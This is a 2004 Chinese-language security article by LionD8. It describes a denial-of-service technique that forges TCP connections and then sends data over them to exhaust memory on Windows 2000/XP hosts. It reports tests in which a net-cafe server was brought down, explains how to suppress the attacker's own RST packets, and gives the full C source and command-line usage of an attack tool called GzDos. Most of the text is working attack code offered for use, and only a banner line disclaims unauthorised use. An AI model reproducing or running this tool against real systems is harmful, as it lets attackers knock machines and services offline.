新型D.o.S(僞造TCP連接進行數據傳輸的D.o.S)
首發於xfocus。
http://www.xfocus.net/articles/200408/728.html
Author:LionD8
Email:[email protected]
qq: 10415468
My Website: liond8.126.com
Date: 2004.08.12
測試平臺 VC++6.0 Windows2000 server
目標平臺 Windows 2000 , Windows Xp
突發奇想,受NAPTHA攻擊方式的啓發,希望能把這種僞造連接的方式擴展到個人的PC上,並且不受局域網的這個條件因素的限制。纔去花了時間去研究了一下下面寫的東西,好了不廢話了。現在拿出來和大家Share一下,還不是很成熟,希望能和大家多多討論。
關於NAPTHA原來寫過一篇NAPTHA在2000下的實現。爲什麼要利用一個局域網,僅僅是爲了更好的隱藏嗎?還有一個更重要的因素應該是避免自己的
主機響應遠程主機發出的第二此握手的包,防止系統發出RST包斷開掉僞造的連接。另外原來測試過NAPTHA對windows系統並沒有多大的影響。消耗
不到windows的多少內存。如果再僞造連接成功過後再傳輸數據呢?
A爲攻擊者 C被攻擊者:
A Syn --------> C
A Syn,Ack <-----C
A Ack --------> C
A 發送數據-----> C
A Ack <-------- C
A 發送數據-----> C
A Ack <-------- C
...
測試結果:
對於一般的臨時端口比較有效對於1025端口來說,相當的有效。內存持續上升最後最後可以導致計算機由於資源不足無響應,死機。20分鐘可以拖死一個網吧的服務器。
對於80端口最大連接數100,效果不是十分的明顯,消耗掉40M內存就開始反覆了,留下大量的FIN_WAIT_1狀態和ESTABLISHED狀態。
對於其他的一些端口由於環境有限測試相當不方便。方便的朋友可以告訴我您的測試結果。歡迎討論。
所以下面要解決的問題大致就有2個:
1.Hook掉本機發出的Rst數據包
參考flashsky老大的《書寫NDIS過濾鉤子驅動實現ip包過濾》
http://www.xfocus.net/articles/200210/457.html
僅僅是修改一行代碼就ok了。
把 if(Packet[13]==0x2 && SendInterfaceIndex==INVALID_PF_IF_INDEX)
修改爲 if(Packet[13]==0x4 && SendInterfaceIndex!=INVALID_PF_IF_INDEX)
詳細見原文。原文講得很詳細.
2.僞造數據的傳輸
通過Sniffer分析,要想對方相信這個僞造的連接還在Syn包發出的時候要加上選項數據,協商能夠接收的數據包的大小。否則,就算建立了連接過後對方
也不回接受發出的數據,就是說想消耗對方的內存就不行了。對於一般的syn掃描,還有NAPTHA請求連接的時候TCP
header長度都是20,是沒有選項數據的。例如的我2000上選項是8字節,而我朋友的2000則是12字節。以我的機器爲例8字節,所以TCP
header長度要變成28字節。即tcp_head.th_lenres=0x70.
另外還有一個地方要指出就是關於TCP頭部的效驗和的計算。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
如
果帶有數據在20字節的TCP頭部的後面,這個和Windows2000系統算出來的就不一樣。經過分析和數據長度有關係。如果說20字節的IP頭,20
字節的TCP頭,加2字節的數據。如果用checksum計算出TCP效驗和爲0x4523.但是系統計算出來的就是0x4323
所以:
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+dwSize);
tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)dwSize);
dwSize爲帶的數據的長度。否則對方不接收僞造的數據包。那麼要達到消耗對方內存的目的也不行了。
下面是測試的代碼。考慮到此程序還是有一定的危害的效果所以沒有寫成十分方便的測試程序,需要手工sniffer選項字節。然後在命令行下面輸入選項字節。
例如:
GzDos.exe 192.168.248.128 1025 020405B401010402 1000 65534
GzDos.exe <Attack IP> <Attack Port> <OptString> <SleepTime> <StartPort>
源代碼:
#include "stdio.h"
#include "winsock2.h"
#include "windows.h"
#include <ws2tcpip.h>
#include "wchar.h"
#pragma comment(lib, "ws2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
char* ATTACKIP = "192.168.248.128";
USHORT ATTACKPORT = 135;
USHORT StartPort = 1;
int SLEEPTIME = 2000;
UCHAR* optbuf = NULL; // 選項字節
char* psend = NULL;
DWORD len = 0;
USHORT optlen= 0;
typedef struct ip_head
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IPHEADER;
typedef struct tcp_head
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCPHEADER;
typedef struct tsd_hdr
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHEADER;
typedef struct attack_obj
{
DWORD dwIP;
USHORT uAttackPort[11];
struct attack_obj* Next;
}ATOBJ;
ATOBJ* ListAttackObj=0;
////////////////////////////////////////////////////
BOOL InitStart();
DWORD GetHostIP();
USHORT checksum(USHORT *buffer, int size);
DWORD WINAPI ThreadSynFlood(LPVOID lp);
void SendData(DWORD SEQ, DWORD ACK, USHORT SPort, USHORT APort, DWORD SIP, DWORD AIP, char* pBuf,BOOL Isdata,DWORD dwSize);
DWORD WINAPI ListeningFunc(LPVOID lpvoid);
void Banner();
void debugip ( DWORD dwip);
void ConvertOpt (CHAR* pu);
////////////////////////////////////////////////////
SOCKET sock = NULL;
int main(int argc, char* argv[])
{
Banner();
psend = (char*)malloc(800);
memset(psend,0x38,799);
psend[799] = 0;
len = strlen(psend);
if ( argc < 5)
{
printf("input error!/n");
return -1;
}
ATTACKIP = strdup(argv[1]);
ATTACKPORT = atoi(argv[2]);
CHAR* optbuftemp = (CHAR*)strdup(argv[3]);
ConvertOpt (optbuftemp);
if ( argc == 5)
SLEEPTIME = atoi(argv[4]);
if ( argc == 6)
{
SLEEPTIME = atoi(argv[4]);
StartPort = atoi(argv[5]);
}
char HostName[255]={0};
if ( InitStart() == FALSE )
return -1;
if ( optbuf != NULL)
{
int i=0;
struct hostent* lp = NULL;
gethostname(HostName,255);
lp = gethostbyname (HostName);
while ( lp->h_addr_list[i] != NULL )
{
HANDLE h=NULL;
DWORD dwIP=0;
dwIP = *(DWORD*)lp->h_addr_list[i++];
h=CreateThread(NULL,NULL,ListeningFunc,(LPVOID)dwIP,NULL,NULL);
if ( h == NULL )
{
printf("Create ListeningFunc Thread False!/n");
return -1;
}
Sleep(500);
}
ThreadSynFlood(NULL);
}
else return -1;
Sleep(5555555);
}
BOOL InitStart()
{
BOOL flag;
int nTimeOver;
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartup Error!/n");
return FALSE;
}
ListAttackObj = (ATOBJ*) calloc (1,sizeof(ATOBJ));
ListAttackObj->dwIP = inet_addr( ATTACKIP );
ListAttackObj->uAttackPort[0] = htons(ATTACKPORT);
ListAttackObj->uAttackPort[1] = 0;
ListAttackObj->Next=NULL;
sock=NULL;
if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Socket Setup Error!/n");
return FALSE;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!/n");
return FALSE;
}
nTimeOver=2000;
if
(setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver,
sizeof(nTimeOver))==SOCKET_ERROR) //設置發送的
時間
{
printf("setsockopt SO_SNDTIMEO error!/n");
return FALSE;
}
return TRUE;
}
DWORD WINAPI ThreadSynFlood(LPVOID lp)
{
ATOBJ* pAtObj = ListAttackObj;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
char szSendBuf[1024]={0};
int i=0;
while ( pAtObj != NULL )
{
addr_in.sin_family=AF_INET;
addr_in.sin_addr.S_un.S_addr=pAtObj->dwIP;
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+optlen); //IP總長度
ipHeader.ident=1;
ipHeader.frag_and_flags=0x0040;
ipHeader.ttl=0x80;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=pAtObj->dwIP;
ipHeader.sourceIP = GetHostIP();
tcpHeader.th_ack=0;
tcpHeader.th_lenres = (optlen/4+5)<<4;
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(0x4470);
tcpHeader.th_urp=0;
tcpHeader.th_seq=htonl(0x00198288);
for ( int l=StartPort; l<65535;l++)
{
int k =0;
while ( pAtObj->uAttackPort[k] != 0 )
{
tcpHeader.th_dport=pAtObj->uAttackPort[k++];
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
int sendnum = 0;
int optlentemp = optlen;
tcpHeader.th_sport=htons(l);
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),optbuf,optlentemp);
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+optlentemp);
tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)optlentemp);
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader),optbuf,optlentemp);
int
rect=sendto(sock, szSendBuf,
sizeof(ipHeader)+sizeof(tcpHeader)+optlentemp, 0, (struct
sockaddr*)&addr_in, sizeof(addr_in));
if ( sendnum++ > 10 )
{
sendnum=0;
}
if (rect==SOCKET_ERROR)
{
printf("send error!:%x/n",WSAGetLastError());
return false;
}
else printf(" send ok %d /n", l);
}//endwhile
Sleep(SLEEPTIME);
}
pAtObj = pAtObj->Next;
}
return 0;
}
DWORD GetHostIP()
{
DWORD dwIP=0;
int i=0;
struct hostent* lp = NULL;
char HostName[255] = {0};
gethostname(HostName,255);
lp = gethostbyname (HostName);
while ( lp->h_addr_list[i] != NULL )
i++;
dwIP = *(DWORD*)lp->h_addr_list[--i];
return dwIP;
}
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
DWORD WINAPI ListeningFunc(LPVOID lpvoid)
{
SOCKET rawsock;
SOCKADDR_IN addr_in={0};
if ((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Sniffer Socket Setup Error!/n");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(8288);
addr_in.sin_addr.S_un.S_addr= (DWORD)lpvoid;
//對rawsock綁定本機IP和端口
int ret=bind(rawsock, (struct sockaddr *)&addr_in, sizeof(addr_in));
if(ret==SOCKET_ERROR)
{
printf("bind false/n");
exit(0);
}
DWORD lpvBuffer = 1;
DWORD lpcbBytesReturned = 0;
WSAIoctl(rawsock, SIO_RCVALL, &lpvBuffer, sizeof(lpvBuffer), NULL, 0, &lpcbBytesReturned, NULL, NULL);
while (TRUE)
{
SOCKADDR_IN from={0};
int size=sizeof(from);
char RecvBuf[256]={0};
//接收數據包
ret=recvfrom(rawsock,RecvBuf,sizeof(RecvBuf),0,(struct sockaddr*)&from,&size);
if(ret!=SOCKET_ERROR)
{
// 分析數據包
IPHEADER *lpIPheader;
lpIPheader=(IPHEADER *)RecvBuf;
if (lpIPheader->proto==IPPROTO_TCP && lpIPheader->sourceIP == inet_addr(ATTACKIP) )
{
TCPHEADER *lpTCPheader=(TCPHEADER*)(RecvBuf+sizeof(IPHEADER));
//判斷是不是遠程開放端口返回的數據包
if ( lpTCPheader->th_flag==0x12)
{
if ( lpTCPheader->th_ack == htonl(0x00198289) )
{//僞造第3次握手
SendData(lpTCPheader->th_ack,htonl(ntohl(lpTCPheader->th_seq)+1), /
lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,NULL,FALSE,0);
//主動發出一次數據
SendData(lpTCPheader->th_ack,htonl(ntohl(lpTCPheader->th_seq)+1), /
lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,psend,TRUE,len);
}
}
else
{
if ( lpTCPheader->th_flag == 0x10 )
//繼續發送數據
SendData(lpTCPheader->th_ack,lpTCPheader->th_seq,/
lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,psend,TRUE,len);
}
}
}
} // end while
}
void SendData(DWORD SEQ, DWORD ACK, USHORT SPort, USHORT APort, DWORD SIP, DWORD AIP, char* pBuf, BOOL Isdata,DWORD dwSize)
{
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
char szSendBuf[1024]={0};
addr_in.sin_family=AF_INET;
addr_in.sin_port = APort;
addr_in.sin_addr.S_un.S_addr = AIP;
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.ident=1;
ipHeader.frag_and_flags=0x0040;
ipHeader.ttl=0x80;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=AIP;
ipHeader.sourceIP = SIP;
tcpHeader.th_dport = APort;
tcpHeader.th_ack = ACK;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_seq= SEQ;
tcpHeader.th_win=htons(0x4470);
tcpHeader.th_sport=SPort;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+dwSize);
if ( !Isdata)
{
tcpHeader.th_flag=0x10;
}// ack
else
{
tcpHeader.th_flag=0x18;
}
tcpHeader.th_urp=0;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
if ( pBuf != NULL )
{
memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),pBuf,dwSize);
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+dwSize);
tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)dwSize);
}
else
{
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
}
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
int rect=0;
if ( pBuf == NULL )
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
else
{
memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), pBuf, dwSize);
rect=sendto(sock,
szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)+dwSize, 0, (struct
sockaddr*)&addr_in, sizeof(addr_in));
}
if (rect==SOCKET_ERROR)
{
printf("send error!:%x/n",WSAGetLastError());
return;
}
else
{
if ( pBuf != NULL )
printf("SendData ok %d/n",ntohs(SPort));
else
printf(" SendAck ok %d/n",ntohs(SPort));
}
}
void Banner()
{
printf("****************************************************/n");
printf(" 狗仔 D.o.S test/n");
printf("Maker By LionD8. QQ:10415468. Email:[email protected]/n");
printf(" Welcome to my website: http://liond8.126.com/n");
printf(" 僅供授權測試使用,否則引起任何法律糾紛後果自負/n");
printf("****************************************************/n");
printf("GzDos.exe
<Attack IP> <Attack Port> <OptString> <SleepTime =
default 2000> <StartPort>/n");
}
void debugip ( DWORD dwip)
{
struct in_addr A = {0};
A.S_un.S_addr = dwip;
printf("%s",inet_ntoa(A));
}
void ConvertOpt (CHAR* pu)
{
int i=0 , lentemp;
lentemp = strlen(pu);
optlen = lentemp/2;
optbuf = (UCHAR*)malloc(optlen);
int k=0;
for ( i = 0 ; i < lentemp ; i+=2 )
{
BYTE tempb = 0;
tempb = pu[i+1];
if ( tempb < '9')
tempb = tempb - 0x30;
else
{
tempb = tempb - 0x37;
}
optbuf[k] = tempb;
tempb = 0;
tempb = pu[i];
if ( tempb < '9')
tempb = tempb - 0x30;
else
{
tempb = tempb - 0x37;
}
tempb= tempb<<4;
optbuf[k]+= tempb;
k++;
}
}
參考文獻:
書寫NDIS過濾鉤子驅動實現ip包過濾
TCP/IP詳解第一卷